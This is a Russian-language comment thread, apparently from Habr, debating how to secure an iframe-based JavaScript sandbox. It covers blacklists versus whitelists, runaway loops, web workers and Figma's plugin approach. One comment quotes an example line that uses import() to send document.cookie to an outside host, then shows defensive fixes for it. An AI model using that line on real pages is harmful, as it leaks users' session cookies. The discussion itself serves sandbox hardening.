Pull to refresh

Comments 12

Итак, в сухом остатке:
1) Мужественно боремся с глобальными объектами по принципу blacklist, что означает, что как только проект перестанет обновляться, а в браузеры запилят еще одну <...>Function — тут-то сразу вся безопасность и накроется.
2) Никак не решаем (и принципиально не можем) решить проблему останова, что в итоге хоть и не позволит нехорошему человеку «всё сломать», зато легко позволить «всё повесить».
3) Высказываем «фэ» в адрес воркеров, которые позволяют сильно уменьшить объем возни по пункту №1 и способны принципиально решать пункт №2.

Я ничего не упустил?
  1. blacklist — это страховка от невнимательности программиста при импорте значениий в песочницу. Сами по себе они импортироваться не начнут при обновлении браузера.
  2. Эта проблема решается в другой плоскости: у злоумышленника UI повиснет ещё на этапе ввода. А если он пришлёт бесконечный цикл в обход UI, то он легко детектируется и банится.
  3. Перечитайте ещё раз. Когда допустимы ограничения воркера — это лучшее решение.
2. Ага, особенно если отключить определенный (ваш) JS. А если пришлёт — это детсад какой-то. «Просто цикл» конечно легко задетектировать, а как вы будете детектировать сложные скрипты, которые вроде бы что-то полезное делают, и вроде бы не висят (но в них есть, скажем, таймбомба, вешающая их в определенный момент)?

3. Вы ни слова не сказали о кейсах, которые не позволяют вам взять воркер. Только общие слова.
  1. Не верно понял сначала. Да, если в браузеры добавят ещё какие-либо синтаксические конструкции, то нужно будет обновить код для их поддержки.
  2. Всё просто — запускаем и замеряем время исполнения. Всё, что превышает лимит — отбраковывается. Не важно, что-то полезное оно там делает или не очень.
  3. Вам, как любителю MobX, должна быть знакома концепция автотрекинга зависимостей, для работоспособности которой вызовы должны быть именно синхронными.
2) Проблему останова решать не нужно, если используется тайпскрипт или только подмножество js где мы можем за счет статического анализа найти циклы и рекурсию то дальше просто добавляем в цикл дополнительный код который будет проверять время и останавливать цикл если выполняется дольше положенного либо будет реагировать на кнопку остановки (если это внешний плагин в каком-то редакторе например как это работает в figma.com)
Ну и безопасность через чёрные списки прекрасна тем, что как только вы что-то забыли — так сразу становится всё плохо. Например, вы забыли про import() — дополнительную дыру по выполнению JS это не создаёт, потому что если даже что-то импортировать, оно всё равно будет выполняться в покалеченном айфрейме, но зато помимо возможности повесить песочницу это создаёт прикольную возможность отгрузить кому-то на комп содержимое /dev/random. Всего-то сервер нужен.

Спасибо, добавил историю про import:


Заголовок спойлера

Наконец, есть такая противная вещь как import(), которая является не функцией, а конструкцией языка, поэтому просто удалить её не получится, а натворить дел она позволяет:


import( "https://example.org/" + document.cookie )

Мы могли бы с помощью атрибута sandbox у фрейма запретить исполнять скрипты загруженные с левого домена:


frame.setAttribute( 'sandbox' , `allow-same-origin` )

Но запрос до сервера всё-равно пройдёт. Поэтому лучше воспользоваться более надёжным решением — прибить event-loop путём удаления фрейма, после получения из него всех нужных для запуска скриптов объектов:


const SafeFunction = frame.contentWindow.Function
const SafeJSON = frame.contentWindow.JSON
frame.parentNode.removeChild( frame )

Соответственно, любые асинхронные операции будут выдавать ошибку, но синхронные будут продолжать работать.

Известная компания Figma уже пыталась сделать песочницу используя всякие костыли вроде with и proxy-объекты — www.figma.com/blog/how-we-built-the-figma-plugin-system Но потом наевшись дыр они таки перешли на белый список правда через интерпретацию js собственным движком — www.figma.com/blog/an-update-on-plugin-security
Я придерживаюсь мнения что оба варианта это либо костыли либо тормоза. Правильным вариантом был бы статический анализ кода (тот же белый список но только без интерпретации — то есть со скоростью нативного js). Это правда реализовать сложнее — нужно взять некое подмножество typescript в котором невозможен будет any и будет разрешен только набор предусмотренных апишек но зато это будет белый список и эту песочницу по определению нельзя будет взломать
Вот я тоже искренне не понимаю попытку обеспечить безопасность способом, собирающим максимальное количество граблей.
Среди черного списка, белого списка, и песочницы — черный список испокон веков самый проблемный, а уж в JS и подавно, учитывая скорость изменений. Конечно, было бы веселее, если бы в браузере можно было бы погонять полноценную песочницу — тогда это был бы хороший выход для тех, кому надо что-то не сильно обрезанное, но с этим пока что увы. Впрочем, воркеры не без оговорок на роль песочницы могут вполне сгодиться.

Ну а уж если особой мощи скриптов не нужно (а учитывая, сколько всего лихо отпилил от ЖСа автор статьи — ни о какой «особой мощи» говорить не приходится) — то белый список является во многие разы более безопасным решением, чем очередная попытка навелосипедить чёрный.

Всё, что было отпилено, может быть возвращено как раз через белый список. Кроме вещей, находящихся в чёрном списке, разумеется.

Sign up to leave a comment.

Articles